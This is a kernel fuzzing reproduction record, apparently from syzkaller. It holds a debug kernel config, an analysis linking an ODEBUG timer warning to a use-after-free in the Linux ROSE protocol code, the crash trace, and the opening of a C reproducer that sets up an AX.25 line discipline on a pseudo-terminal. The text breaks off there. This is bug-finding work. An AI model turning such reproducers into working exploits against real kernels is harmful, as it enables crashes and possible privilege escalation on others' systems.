CONFIG_DECOMPRESS_GZIP=y
CONFIG_DECOMPRESS_BZIP2=y
CONFIG_DECOMPRESS_LZMA=y
CONFIG_DECOMPRESS_XZ=y
CONFIG_DECOMPRESS_LZO=y
CONFIG_DECOMPRESS_LZ4=y
CONFIG_DECOMPRESS_ZSTD=y
CONFIG_GENERIC_ALLOCATOR=y
CONFIG_REED_SOLOMON=y
CONFIG_REED_SOLOMON_DEC8=y
CONFIG_TEXTSEARCH=y
CONFIG_TEXTSEARCH_KMP=y
CONFIG_TEXTSEARCH_BM=y
CONFIG_TEXTSEARCH_FSM=y
CONFIG_INTERVAL_TREE=y
CONFIG_INTERVAL_TREE_SPAN_ITER=y
CONFIG_XARRAY_MULTI=y
CONFIG_ASSOCIATIVE_ARRAY=y
CONFIG_CLOSURES=y
CONFIG_HAS_IOMEM=y
CONFIG_HAS_IOPORT=y
CONFIG_HAS_IOPORT_MAP=y
CONFIG_HAS_DMA=y
CONFIG_DMA_OPS_HELPERS=y
CONFIG_NEED_SG_DMA_FLAGS=y
CONFIG_NEED_SG_DMA_LENGTH=y
CONFIG_NEED_DMA_MAP_STATE=y
CONFIG_ARCH_DMA_ADDR_T_64BIT=y
CONFIG_DMA_DECLARE_COHERENT=y
CONFIG_SWIOTLB=y
# CONFIG_SWIOTLB_DYNAMIC is not set
CONFIG_DMA_NEED_SYNC=y
# CONFIG_DMA_RESTRICTED_POOL is not set
CONFIG_DMA_CMA=y
# CONFIG_DMA_NUMA_CMA is not set

#
# Default contiguous memory area size:
#
CONFIG_CMA_SIZE_MBYTES=0
CONFIG_CMA_SIZE_PERCENTAGE=0
# CONFIG_CMA_SIZE_SEL_MBYTES is not set
# CONFIG_CMA_SIZE_SEL_PERCENTAGE is not set
# CONFIG_CMA_SIZE_SEL_MIN is not set
CONFIG_CMA_SIZE_SEL_MAX=y
CONFIG_CMA_ALIGNMENT=8
# CONFIG_DMA_API_DEBUG is not set
# CONFIG_DMA_MAP_BENCHMARK is not set
CONFIG_SGL_ALLOC=y
CONFIG_CHECK_SIGNATURE=y
# CONFIG_CPUMASK_OFFSTACK is not set
CONFIG_CPU_RMAP=y
CONFIG_DQL=y
CONFIG_GLOB=y
CONFIG_NLATTR=y
CONFIG_CLZ_TAB=y
CONFIG_IRQ_POLL=y
CONFIG_MPILIB=y
CONFIG_SIGNATURE=y
CONFIG_DIMLIB=y
CONFIG_LIBFDT=y
CONFIG_OID_REGISTRY=y
CONFIG_HAVE_GENERIC_VDSO=y
CONFIG_GENERIC_GETTIMEOFDAY=y
CONFIG_GENERIC_VDSO_OVERFLOW_PROTECT=y
CONFIG_VDSO_GETRANDOM=y
CONFIG_FONT_SUPPORT=y
# CONFIG_FONTS is not set
CONFIG_FONT_8x8=y
CONFIG_FONT_8x16=y
CONFIG_SG_POOL=y
CONFIG_ARCH_HAS_PMEM_API=y
CONFIG_MEMREGION=y
CONFIG_ARCH_HAS_CPU_CACHE_INVALIDATE_MEMREGION=y
CONFIG_ARCH_HAS_UACCESS_FLUSHCACHE=y
CONFIG_ARCH_HAS_COPY_MC=y
CONFIG_ARCH_STACKWALK=y
CONFIG_STACKDEPOT=y
CONFIG_STACKDEPOT_ALWAYS_INIT=y
CONFIG_STACKDEPOT_MAX_FRAMES=64
CONFIG_REF_TRACKER=y
CONFIG_SBITMAP=y
# CONFIG_LWQ_TEST is not set
# end of Library routines

CONFIG_FIRMWARE_TABLE=y
CONFIG_UNION_FIND=y

#
# Kernel hacking
#

#
# printk and dmesg options
#
CONFIG_PRINTK_TIME=y
CONFIG_PRINTK_CALLER=y
# CONFIG_STACKTRACE_BUILD_ID is not set
CONFIG_CONSOLE_LOGLEVEL_DEFAULT=7
CONFIG_CONSOLE_LOGLEVEL_QUIET=4
CONFIG_MESSAGE_LOGLEVEL_DEFAULT=4
# CONFIG_BOOT_PRINTK_DELAY is not set
CONFIG_DYNAMIC_DEBUG=y
CONFIG_DYNAMIC_DEBUG_CORE=y
CONFIG_SYMBOLIC_ERRNAME=y
CONFIG_DEBUG_BUGVERBOSE=y
CONFIG_DEBUG_BUGVERBOSE_DETAILED=y
# end of printk and dmesg options

CONFIG_DEBUG_KERNEL=y
CONFIG_DEBUG_MISC=y

#
# Compile-time checks and compiler options
#
CONFIG_DEBUG_INFO=y
CONFIG_AS_HAS_NON_CONST_ULEB128=y
# CONFIG_DEBUG_INFO_NONE is not set
# CONFIG_DEBUG_INFO_DWARF_TOOLCHAIN_DEFAULT is not set
CONFIG_DEBUG_INFO_DWARF4=y
# CONFIG_DEBUG_INFO_DWARF5 is not set
# CONFIG_DEBUG_INFO_REDUCED is not set
CONFIG_DEBUG_INFO_COMPRESSED_NONE=y
# CONFIG_DEBUG_INFO_COMPRESSED_ZLIB is not set
# CONFIG_DEBUG_INFO_COMPRESSED_ZSTD is not set
# CONFIG_DEBUG_INFO_SPLIT is not set
# CONFIG_DEBUG_INFO_BTF is not set
CONFIG_PAHOLE_HAS_LANG_EXCLUDE=y
# CONFIG_GDB_SCRIPTS is not set
CONFIG_FRAME_WARN=2048
# CONFIG_STRIP_ASM_SYMS is not set
# CONFIG_READABLE_ASM is not set
# CONFIG_HEADERS_INSTALL is not set
# CONFIG_DEBUG_SECTION_MISMATCH is not set
CONFIG_SECTION_MISMATCH_WARN_ONLY=y
# CONFIG_DEBUG_FORCE_FUNCTION_ALIGN_64B is not set
CONFIG_OBJTOOL=y
# CONFIG_OBJTOOL_WERROR is not set
CONFIG_NOINSTR_VALIDATION=y
# CONFIG_VMLINUX_MAP is not set
# CONFIG_DEBUG_FORCE_WEAK_PER_CPU is not set
# end of Compile-time checks and compiler options

#
# Generic Kernel Debugging Instruments
#
# CONFIG_MAGIC_SYSRQ is not set
CONFIG_DEBUG_FS=y
CONFIG_DEBUG_FS_ALLOW_ALL=y
# CONFIG_DEBUG_FS_ALLOW_NONE is not set
CONFIG_HAVE_ARCH_KGDB=y
# CONFIG_KGDB is not set
CONFIG_ARCH_HAS_UBSAN=y
CONFIG_UBSAN=y
# CONFIG_UBSAN_TRAP is not set
CONFIG_CC_HAS_UBSAN_BOUNDS_STRICT=y
CONFIG_UBSAN_BOUNDS=y
CONFIG_UBSAN_BOUNDS_STRICT=y
CONFIG_UBSAN_SHIFT=y
# CONFIG_UBSAN_DIV_ZERO is not set
# CONFIG_UBSAN_BOOL is not set
# CONFIG_UBSAN_ENUM is not set
# CONFIG_UBSAN_ALIGNMENT is not set
# CONFIG_TEST_UBSAN is not set
CONFIG_HAVE_ARCH_KCSAN=y
CONFIG_HAVE_KCSAN_COMPILER=y
# end of Generic Kernel Debugging Instruments

#
# Networking Debugging
#
CONFIG_NET_DEV_REFCNT_TRACKER=y
CONFIG_NET_NS_REFCNT_TRACKER=y
CONFIG_DEBUG_NET=y
# CONFIG_DEBUG_NET_SMALL_RTNL is not set
# end of Networking Debugging

#
# Memory Debugging
#
CONFIG_PAGE_EXTENSION=y
# CONFIG_DEBUG_PAGEALLOC is not set
CONFIG_SLUB_DEBUG=y
# CONFIG_SLUB_DEBUG_ON is not set
CONFIG_SLUB_RCU_DEBUG=y
CONFIG_PAGE_OWNER=y
CONFIG_PAGE_TABLE_CHECK=y
CONFIG_PAGE_TABLE_CHECK_ENFORCED=y
CONFIG_PAGE_POISONING=y
# CONFIG_DEBUG_PAGE_REF is not set
# CONFIG_DEBUG_RODATA_TEST is not set
CONFIG_ARCH_HAS_DEBUG_WX=y
CONFIG_DEBUG_WX=y
CONFIG_ARCH_HAS_PTDUMP=y
CONFIG_PTDUMP=y
CONFIG_PTDUMP_DEBUGFS=y
CONFIG_HAVE_DEBUG_KMEMLEAK=y
# CONFIG_DEBUG_KMEMLEAK is not set
# CONFIG_PER_VMA_LOCK_STATS is not set
CONFIG_DEBUG_OBJECTS=y
# CONFIG_DEBUG_OBJECTS_SELFTEST is not set
CONFIG_DEBUG_OBJECTS_FREE=y
CONFIG_DEBUG_OBJECTS_TIMERS=y
CONFIG_DEBUG_OBJECTS_WORK=y
CONFIG_DEBUG_OBJECTS_RCU_HEAD=y
CONFIG_DEBUG_OBJECTS_PERCPU_COUNTER=y
CONFIG_DEBUG_OBJECTS_ENABLE_DEFAULT=1
# CONFIG_SHRINKER_DEBUG is not set
CONFIG_DEBUG_STACK_USAGE=y
CONFIG_SCHED_STACK_END_CHECK=y
CONFIG_ARCH_HAS_DEBUG_VM_PGTABLE=y
CONFIG_DEBUG_VFS=y
CONFIG_DEBUG_VM_IRQSOFF=y
CONFIG_DEBUG_VM=y
CONFIG_DEBUG_VM_MAPLE_TREE=y
CONFIG_DEBUG_VM_RB=y
CONFIG_DEBUG_VM_PGFLAGS=y
CONFIG_DEBUG_VM_PGTABLE=y
CONFIG_ARCH_HAS_DEBUG_VIRTUAL=y
CONFIG_DEBUG_VIRTUAL=y
CONFIG_DEBUG_MEMORY_INIT=y
CONFIG_DEBUG_PER_CPU_MAPS=y
CONFIG_DEBUG_KMAP_LOCAL=y
CONFIG_ARCH_SUPPORTS_KMAP_LOCAL_FORCE_MAP=y
CONFIG_DEBUG_KMAP_LOCAL_FORCE_MAP=y
# CONFIG_MEM_ALLOC_PROFILING is not set
CONFIG_HAVE_ARCH_KASAN=y
CONFIG_HAVE_ARCH_KASAN_VMALLOC=y
CONFIG_CC_HAS_KASAN_GENERIC=y
CONFIG_CC_HAS_KASAN_SW_TAGS=y
CONFIG_CC_HAS_WORKING_NOSANITIZE_ADDRESS=y
CONFIG_KASAN=y
CONFIG_CC_HAS_KASAN_MEMINTRINSIC_PREFIX=y
CONFIG_KASAN_GENERIC=y
# CONFIG_KASAN_OUTLINE is not set
CONFIG_KASAN_INLINE=y
CONFIG_KASAN_STACK=y
CONFIG_KASAN_VMALLOC=y
# CONFIG_KASAN_EXTRA_INFO is not set
CONFIG_HAVE_ARCH_KFENCE=y
CONFIG_KFENCE=y
CONFIG_KFENCE_SAMPLE_INTERVAL=100
CONFIG_KFENCE_NUM_OBJECTS=255
# CONFIG_KFENCE_DEFERRABLE is not set
CONFIG_KFENCE_STATIC_KEYS=y
CONFIG_KFENCE_STRESS_TEST_FAULTS=0
CONFIG_HAVE_ARCH_KMSAN=y
# end of Memory Debugging

# CONFIG_DEBUG_SHIRQ is not set

#
# Debug Oops, Lockups and Hangs
#
CONFIG_PANIC_ON_OOPS=y
CONFIG_PANIC_TIMEOUT=86400
CONFIG_LOCKUP_DETECTOR=y
CONFIG_SOFTLOCKUP_DETECTOR=y
# CONFIG_SOFTLOCKUP_DETECTOR_INTR_STORM is not set
CONFIG_BOOTPARAM_SOFTLOCKUP_PANIC=1
CONFIG_HAVE_HARDLOCKUP_DETECTOR_BUDDY=y
CONFIG_HARDLOCKUP_DETECTOR=y
# CONFIG_HARDLOCKUP_DETECTOR_PREFER_BUDDY is not set
CONFIG_HARDLOCKUP_DETECTOR_PERF=y
# CONFIG_HARDLOCKUP_DETECTOR_BUDDY is not set
# CONFIG_HARDLOCKUP_DETECTOR_ARCH is not set
CONFIG_HARDLOCKUP_DETECTOR_COUNTS_HRTIMER=y
CONFIG_HARDLOCKUP_CHECK_TIMESTAMP=y
CONFIG_BOOTPARAM_HARDLOCKUP_PANIC=y
CONFIG_DETECT_HUNG_TASK=y
CONFIG_DEFAULT_HUNG_TASK_TIMEOUT=140
CONFIG_BOOTPARAM_HUNG_TASK_PANIC=1
# CONFIG_DETECT_HUNG_TASK_BLOCKER is not set
CONFIG_WQ_WATCHDOG=y
CONFIG_BOOTPARAM_WQ_STALL_PANIC=0
# CONFIG_WQ_CPU_INTENSIVE_REPORT is not set
# CONFIG_TEST_LOCKUP is not set
# end of Debug Oops, Lockups and Hangs

#
# Scheduler Debugging
#
CONFIG_SCHED_INFO=y
CONFIG_SCHEDSTATS=y
# end of Scheduler Debugging

CONFIG_DEBUG_PREEMPT=y
# CONFIG_DEBUG_ATOMIC is not set

#
# Lock Debugging (spinlocks, mutexes, etc...)
#
CONFIG_LOCK_DEBUGGING_SUPPORT=y
CONFIG_PROVE_LOCKING=y
CONFIG_PROVE_RAW_LOCK_NESTING=y
# CONFIG_LOCK_STAT is not set
CONFIG_DEBUG_RT_MUTEXES=y
CONFIG_DEBUG_SPINLOCK=y
CONFIG_DEBUG_MUTEXES=y
CONFIG_DEBUG_WW_MUTEX_SLOWPATH=y
CONFIG_DEBUG_RWSEMS=y
CONFIG_DEBUG_LOCK_ALLOC=y
CONFIG_LOCKDEP=y
CONFIG_LOCKDEP_BITS=20
CONFIG_LOCKDEP_CHAINS_BITS=20
CONFIG_LOCKDEP_STACK_TRACE_BITS=20
CONFIG_LOCKDEP_STACK_TRACE_HASH_BITS=14
CONFIG_LOCKDEP_CIRCULAR_QUEUE_BITS=12
# CONFIG_DEBUG_LOCKDEP is not set
CONFIG_DEBUG_ATOMIC_SLEEP=y
# CONFIG_DEBUG_LOCKING_API_SELFTESTS is not set
# CONFIG_LOCK_TORTURE_TEST is not set
# CONFIG_WW_MUTEX_SELFTEST is not set
# CONFIG_SCF_TORTURE_TEST is not set
CONFIG_CSD_LOCK_WAIT_DEBUG=y
# CONFIG_CSD_LOCK_WAIT_DEBUG_DEFAULT is not set
# end of Lock Debugging (spinlocks, mutexes, etc...)

CONFIG_TRACE_IRQFLAGS=y
CONFIG_TRACE_IRQFLAGS_NMI=y
CONFIG_NMI_CHECK_CPU=y
CONFIG_DEBUG_IRQFLAGS=y
CONFIG_STACKTRACE=y
# CONFIG_DEBUG_KOBJECT is not set
# CONFIG_DEBUG_KOBJECT_RELEASE is not set

#
# Debug kernel data structures
#
CONFIG_DEBUG_LIST=y
CONFIG_DEBUG_PLIST=y
CONFIG_DEBUG_SG=y
CONFIG_DEBUG_NOTIFIERS=y
# CONFIG_DEBUG_CLOSURES is not set
CONFIG_DEBUG_MAPLE_TREE=y
# end of Debug kernel data structures

#
# RCU Debugging
#
CONFIG_PROVE_RCU=y
# CONFIG_RCU_SCALE_TEST is not set
# CONFIG_RCU_TORTURE_TEST is not set
# CONFIG_RCU_REF_SCALE_TEST is not set
CONFIG_RCU_CPU_STALL_TIMEOUT=100
CONFIG_RCU_EXP_CPU_STALL_TIMEOUT=0
# CONFIG_RCU_CPU_STALL_CPUTIME is not set
# CONFIG_RCU_TRACE is not set
CONFIG_RCU_EQS_DEBUG=y
# end of RCU Debugging

# CONFIG_DEBUG_WQ_FORCE_RR_CPU is not set
# CONFIG_CPU_HOTPLUG_STATE_CONTROL is not set
# CONFIG_LATENCYTOP is not set
CONFIG_USER_STACKTRACE_SUPPORT=y
CONFIG_NOP_TRACER=y
CONFIG_HAVE_RETHOOK=y
CONFIG_HAVE_FUNCTION_TRACER=y
CONFIG_HAVE_DYNAMIC_FTRACE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_REGS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_DIRECT_CALLS=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_ARGS=y
CONFIG_HAVE_FTRACE_REGS_HAVING_PT_REGS=y
CONFIG_HAVE_DYNAMIC_FTRACE_NO_PATCHABLE=y
CONFIG_HAVE_DYNAMIC_FTRACE_WITH_JMP=y
CONFIG_HAVE_SYSCALL_TRACEPOINTS=y
CONFIG_HAVE_FENTRY=y
CONFIG_HAVE_OBJTOOL_MCOUNT=y
CONFIG_HAVE_OBJTOOL_NOP_MCOUNT=y
CONFIG_HAVE_C_RECORDMCOUNT=y
CONFIG_HAVE_BUILDTIME_MCOUNT_SORT=y
CONFIG_TRACE_CLOCK=y
CONFIG_RING_BUFFER=y
CONFIG_EVENT_TRACING=y
CONFIG_CONTEXT_SWITCH_TRACER=y
CONFIG_PREEMPTIRQ_TRACEPOINTS=y
CONFIG_TRACING=y
CONFIG_GENERIC_TRACER=y
CONFIG_TRACING_SUPPORT=y
CONFIG_FTRACE=y
CONFIG_TRACEFS_AUTOMOUNT_DEPRECATED=y
# CONFIG_BOOTTIME_TRACING is not set
# CONFIG_FUNCTION_TRACER is not set
# CONFIG_STACK_TRACER is not set
# CONFIG_IRQSOFF_TRACER is not set
# CONFIG_PREEMPT_TRACER is not set
# CONFIG_SCHED_TRACER is not set
# CONFIG_HWLAT_TRACER is not set
# CONFIG_OSNOISE_TRACER is not set
# CONFIG_TIMERLAT_TRACER is not set
# CONFIG_MMIOTRACE is not set
# CONFIG_FTRACE_SYSCALLS is not set
# CONFIG_TRACER_SNAPSHOT is not set
CONFIG_BRANCH_PROFILE_NONE=y
# CONFIG_PROFILE_ANNOTATED_BRANCHES is not set
CONFIG_BLK_DEV_IO_TRACE=y
CONFIG_UPROBE_EVENTS=y
CONFIG_EPROBE_EVENTS=y
CONFIG_BPF_EVENTS=y
CONFIG_DYNAMIC_EVENTS=y
CONFIG_PROBE_EVENTS=y
# CONFIG_SYNTH_EVENTS is not set
# CONFIG_USER_EVENTS is not set
# CONFIG_HIST_TRIGGERS is not set
CONFIG_TRACE_EVENT_INJECT=y
# CONFIG_TRACEPOINT_BENCHMARK is not set
# CONFIG_RING_BUFFER_BENCHMARK is not set
# CONFIG_TRACE_EVAL_MAP_FILE is not set
# CONFIG_FTRACE_STARTUP_TEST is not set
# CONFIG_RING_BUFFER_STARTUP_TEST is not set
CONFIG_RING_BUFFER_VALIDATE_TIME_DELTAS=y
# CONFIG_PREEMPTIRQ_DELAY_TEST is not set
# CONFIG_RV is not set
CONFIG_PROVIDE_OHCI1394_DMA_INIT=y
# CONFIG_SAMPLES is not set
CONFIG_HAVE_SAMPLE_FTRACE_DIRECT=y
CONFIG_HAVE_SAMPLE_FTRACE_DIRECT_MULTI=y
CONFIG_ARCH_HAS_DEVMEM_IS_ALLOWED=y
# CONFIG_STRICT_DEVMEM is not set

#
# x86 Debugging
#
CONFIG_EARLY_PRINTK_USB=y
CONFIG_X86_VERBOSE_BOOTUP=y
CONFIG_EARLY_PRINTK=y
CONFIG_EARLY_PRINTK_DBGP=y
# CONFIG_EARLY_PRINTK_USB_XDBC is not set
# CONFIG_DEBUG_TLBFLUSH is not set
CONFIG_HAVE_MMIOTRACE_SUPPORT=y
# CONFIG_X86_DECODER_SELFTEST is not set
CONFIG_IO_DELAY_0X80=y
# CONFIG_IO_DELAY_0XED is not set
# CONFIG_IO_DELAY_UDELAY is not set
# CONFIG_IO_DELAY_NONE is not set
CONFIG_DEBUG_BOOT_PARAMS=y
# CONFIG_CPA_DEBUG is not set
CONFIG_DEBUG_ENTRY=y
# CONFIG_DEBUG_NMI_SELFTEST is not set
CONFIG_X86_DEBUG_FPU=y
# CONFIG_PUNIT_ATOM_DEBUG is not set
CONFIG_UNWINDER_ORC=y
# CONFIG_UNWINDER_FRAME_POINTER is not set
# end of x86 Debugging

#
# Kernel Testing and Coverage
#
# CONFIG_KUNIT is not set
# CONFIG_NOTIFIER_ERROR_INJECTION is not set
CONFIG_FAULT_INJECTION=y
CONFIG_FAILSLAB=y
CONFIG_FAIL_PAGE_ALLOC=y
CONFIG_FAULT_INJECTION_USERCOPY=y
CONFIG_FAIL_MAKE_REQUEST=y
CONFIG_FAIL_IO_TIMEOUT=y
CONFIG_FAIL_FUTEX=y
CONFIG_FAULT_INJECTION_DEBUG_FS=y
# CONFIG_FAIL_MMC_REQUEST is not set
# CONFIG_FAIL_SKB_REALLOC is not set
CONFIG_FAULT_INJECTION_CONFIGFS=y
# CONFIG_FAULT_INJECTION_STACKTRACE_FILTER is not set
CONFIG_ARCH_HAS_KCOV=y
CONFIG_KCOV=y
CONFIG_KCOV_ENABLE_COMPARISONS=y
CONFIG_KCOV_INSTRUMENT_ALL=y
CONFIG_KCOV_IRQ_AREA_SIZE=0x40000
# CONFIG_KCOV_SELFTEST is not set
CONFIG_RUNTIME_TESTING_MENU=y
# CONFIG_TEST_DHRY is not set
# CONFIG_LKDTM is not set
# CONFIG_TEST_DIV64 is not set
# CONFIG_TEST_MULDIV64 is not set
# CONFIG_BACKTRACE_SELF_TEST is not set
# CONFIG_TEST_REF_TRACKER is not set
# CONFIG_RBTREE_TEST is not set
# CONFIG_REED_SOLOMON_TEST is not set
# CONFIG_INTERVAL_TREE_TEST is not set
# CONFIG_PERCPU_TEST is not set
# CONFIG_ATOMIC64_SELFTEST is not set
# CONFIG_ASYNC_RAID6_TEST is not set
# CONFIG_TEST_HEXDUMP is not set
# CONFIG_TEST_KSTRTOX is not set
# CONFIG_TEST_BITMAP is not set
# CONFIG_TEST_XARRAY is not set
# CONFIG_TEST_MAPLE_TREE is not set
# CONFIG_TEST_RHASHTABLE is not set
# CONFIG_TEST_IDA is not set
# CONFIG_TEST_LKM is not set
# CONFIG_TEST_BITOPS is not set
# CONFIG_TEST_VMALLOC is not set
# CONFIG_TEST_BPF is not set
# CONFIG_FIND_BIT_BENCHMARK is not set
# CONFIG_TEST_FIRMWARE is not set
# CONFIG_TEST_SYSCTL is not set
# CONFIG_CONTEXT_ANALYSIS_TEST is not set
# CONFIG_TEST_UDELAY is not set
# CONFIG_TEST_STATIC_KEYS is not set
# CONFIG_TEST_DYNAMIC_DEBUG is not set
# CONFIG_TEST_KMOD is not set
# CONFIG_TEST_KALLSYMS is not set
# CONFIG_TEST_DEBUG_VIRTUAL is not set
# CONFIG_TEST_MEMCAT_P is not set
# CONFIG_TEST_MEMINIT is not set
# CONFIG_TEST_HMM is not set
# CONFIG_TEST_FREE_PAGES is not set
# CONFIG_TEST_CLOCKSOURCE_WATCHDOG is not set
# CONFIG_TEST_OBJPOOL is not set
CONFIG_ARCH_USE_MEMTEST=y
# CONFIG_MEMTEST is not set
# end of Kernel Testing and Coverage

#
# Rust hacking
#
# end of Rust hacking
# end of Kernel hacking

CONFIG_IO_URING_ZCRX=y
CONFIG_IO_URING_BPF=y
KernelRepo git://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git
ReproCID 0
ReproOpts
ReproSyzID 0
SyzkallerCommit 458630d8a58d88d7c514fe99028b2f97b9348ed3

Outputs:
Reproduced βœ…
EquivalenceAnalysis
The reproducer successfully triggered the underlying bug. 

Although the crash title is `ODEBUG: free active (active state 0) object: ... hint: rose_t0timer_expiry` instead of the original `KASAN: slab-use-after-free Write in rose_send_frame`, they represent the exact same root cause.

In the original KASAN report:
1. `rose_timer_expiry` frees a `rose_neigh` object via `rose_neigh_put` -> `kfree`.
2. Later, the `t0timer` (which is embedded in the freed `rose_neigh` object) fires and executes its callback `rose_t0timer_expiry`.
3. `rose_t0timer_expiry` calls `rose_transmit_restart_request` -> `rose_send_frame`, which accesses the freed `rose_neigh` object, causing the KASAN Use-After-Free.

In the triggered crash:
The kernel has `CONFIG_DEBUG_OBJECTS_TIMERS` enabled. When `rose_timer_expiry` calls `rose_neigh_put` -> `kfree` to free the `rose_neigh` object, the debug objects infrastructure detects that the embedded `t0timer` (with callback `rose_t0timer_expiry`) is still active and pending. It immediately raises an `ODEBUG` warning and prevents the silent memory corruption.

This is an earlier, more precise detection of the exact same bug. The reproducer is fully successful.
OtherCrashReports
[------------[ cut here ]------------
ODEBUG: free active (active state 0) object: ffff88810b1dd090 object type: timer_list hint: rose_t0timer_expiry+0x0/0x350 net/rose/rose_link.c:-1
WARNING: lib/debugobjects.c:632 at debug_print_object lib/debugobjects.c:629 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at __debug_check_no_obj_freed lib/debugobjects.c:1116 [inline], CPU#1: swapper/1/0
WARNING: lib/debugobjects.c:632 at debug_check_no_obj_freed+0x405/0x550 lib/debugobjects.c:1146, CPU#1: swapper/1/0
Modules linked in:
CPU: 1 UID: 0 PID: 0 Comm: swapper/1 Not tainted syzkaller #1 PREEMPT(full) 
Hardware name: QEMU Standard PC (Q35 + ICH9, 2009), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
RIP: 0010:debug_print_object lib/debugobjects.c:629 [inline]
RIP: 0010:__debug_check_no_obj_freed lib/debugobjects.c:1116 [inline]
RIP: 0010:debug_check_no_obj_freed+0x44a/0x550 lib/debugobjects.c:1146
Code: 89 44 24 20 e8 b7 5f 7a fd 48 8b 44 24 20 4c 8b 4d 00 4c 89 ef 48 c7 c6 20 02 0e 8c 48 c7 c2 20 08 0e 8c 8b 0c 24 4d 89 f8 50 <67> 48 0f b9 3a 48 83 c4 08 4c 8b 6c 24 18 48 b9 00 00 00 00 00 fc
RSP: 0018:ffffc90000a089a8 EFLAGS: 00010246
RAX: ffffffff8a7d4d90 RBX: ffffffff9a506798 RCX: 0000000000000000
RDX: ffffffff8c0e0820 RSI: ffffffff8c0e0220 RDI: ffffffff90255cb0
RBP: ffffffff8bb03e60 R08: ffff88810b1dd090 R09: ffffffff8bb05240
R10: dffffc0000000000 R11: ffffffff81b0af00 R12: ffff88810b1dd200
R13: ffffffff90255cb0 R14: ffff88810b1dd000 R15: ffff88810b1dd090
FS:  0000000000000000(0000) GS:ffff8882e8bef000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 00005654964c2cc0 CR3: 0000000101f1e000 CR4: 00000000000006f0
Call Trace:
 <IRQ>
 slab_free_hook mm/slub.c:2616 [inline]
 slab_free mm/slub.c:6165 [inline]
 kfree+0x13a/0x630 mm/slub.c:6483
 rose_neigh_put include/net/rose.h:166 [inline]
 rose_timer_expiry+0x4cb/0x600 net/rose/rose_timer.c:183
 call_timer_fn+0x192/0x640 kernel/time/timer.c:1748
 expire_timers kernel/time/timer.c:1799 [inline]
 __run_timers kernel/time/timer.c:2373 [inline]
 __run_timer_base+0x652/0x8b0 kernel/time/timer.c:2385
 tmigr_handle_remote_cpu kernel/time/timer_migration.c:982 [inline]
 tmigr_handle_remote_up kernel/time/timer_migration.c:1073 [inline]
 __walk_groups_from kernel/time/timer_migration.c:565 [inline]
 __walk_groups kernel/time/timer_migration.c:582 [inline]
 tmigr_handle_remote+0xa48/0x1440 kernel/time/timer_migration.c:1132
 handle_softirqs+0x22a/0x870 kernel/softirq.c:622
 __do_softirq kernel/softirq.c:656 [inline]
 invoke_softirq kernel/softirq.c:496 [inline]
 __irq_exit_rcu+0x5f/0x150 kernel/softirq.c:723
 irq_exit_rcu+0x9/0x30 kernel/softirq.c:739
 instr_sysvec_apic_timer_interrupt arch/x86/kernel/apic/apic.c:1056 [inline]
 sysvec_apic_timer_interrupt+0xa6/0xc0 arch/x86/kernel/apic/apic.c:1056
 </IRQ>
 <TASK>
 asm_sysvec_apic_timer_interrupt+0x1a/0x20 arch/x86/include/asm/idtentry.h:697
RIP: 0010:pv_native_safe_halt+0xf/0x20 arch/x86/kernel/paravirt.c:63
Code: ae 7b 02 c3 cc cc cc cc cc cc cc 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 f3 0f 1e fa eb 07 0f 00 2d 23 85 16 00 fb f4 <e9> 7c e7 02 00 cc cc cc cc cc cc cc cc cc cc cc cc 90 90 90 90 90
RSP: 0018:ffffc90000197e20 EFLAGS: 00000206
RAX: 00000000000627ff RBX: ffffffff8199900a RCX: 0000000080000001
RDX: 0000000000000001 RSI: ffffffff8de3780d RDI: ffffffff8c0dfb60
RBP: ffffc90000197f10 R08: ffff88827be3399b R09: 1ffff1104f7c6733
R10: dffffc0000000000 R11: ffffed104f7c6734 R12: 0000000000000001
R13: 1ffff1103009d000 R14: 0000000000000001 R15: 1ffff1103009d000
 arch_safe_halt arch/x86/kernel/process.c:766 [inline]
 default_idle+0x9/0x20 arch/x86/kernel/process.c:767
 default_idle_call+0x72/0xb0 kernel/sched/idle.c:122
 cpuidle_idle_call kernel/sched/idle.c:199 [inline]
 do_idle+0x36a/0x5f0 kernel/sched/idle.c:352
 cpu_startup_entry+0x43/0x60 kernel/sched/idle.c:451
 start_secondary+0x101/0x110 arch/x86/kernel/smpboot.c:312
 common_startup_64+0x13e/0x147
 </TASK>
----------------
Code disassembly (best guess):
   0:	89 44 24 20          	mov    %eax,0x20(%rsp)
   4:	e8 b7 5f 7a fd       	call   0xfd7a5fc0
   9:	48 8b 44 24 20       	mov    0x20(%rsp),%rax
   e:	4c 8b 4d 00          	mov    0x0(%rbp),%r9
  12:	4c 89 ef             	mov    %r13,%rdi
  15:	48 c7 c6 20 02 0e 8c 	mov    $0xffffffff8c0e0220,%rsi
  1c:	48 c7 c2 20 08 0e 8c 	mov    $0xffffffff8c0e0820,%rdx
  23:	8b 0c 24             	mov    (%rsp),%ecx
  26:	4d 89 f8             	mov    %r15,%r8
  29:	50                   	push   %rax
* 2a:	67 48 0f b9 3a       	ud1    (%edx),%rdi <-- trapping instruction
  2f:	48 83 c4 08          	add    $0x8,%rsp
  33:	4c 8b 6c 24 18       	mov    0x18(%rsp),%r13
  38:	48                   	rex.W
  39:	b9 00 00 00 00       	mov    $0x0,%ecx
  3e:	00 fc                	add    %bh,%ah
]
ReproC
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <net/if_arp.h>
#include <linux/ax25.h>
#include <linux/rose.h>

#define N_AX25 5

void set_sysctl(const char *path, int val) {
    FILE *f = fopen(path, "w");
    if (f) {
        fprintf(f, "%d\n", val);
        fclose(f);
        printf("[+] Set sysctl %s to %d\n", path, val);
    } else {
        printf("[-] Failed to open sysctl %s: %s\n", path, strerror(errno));
    }
}

int main() {
    int res;

    // 1. Create ax0 using mkiss line discipline
    int ptmx = open("/dev/ptmx", O_RDWR);
    if (ptmx < 0) {
        printf("[-] Failed to open /dev/ptmx: %s\n", strerror(errno));
        exit(1);
    }
    printf("[+] Opened /dev/ptmx.\n");

    int ldisc = N_AX25;
    res = ioctl(ptmx, TIOCSETD, &ldisc);
    if (res < 0) {
        printf("[-] Failed to ioctl TIOCSETD: %s\n", strerror(errno));
        exit(1);
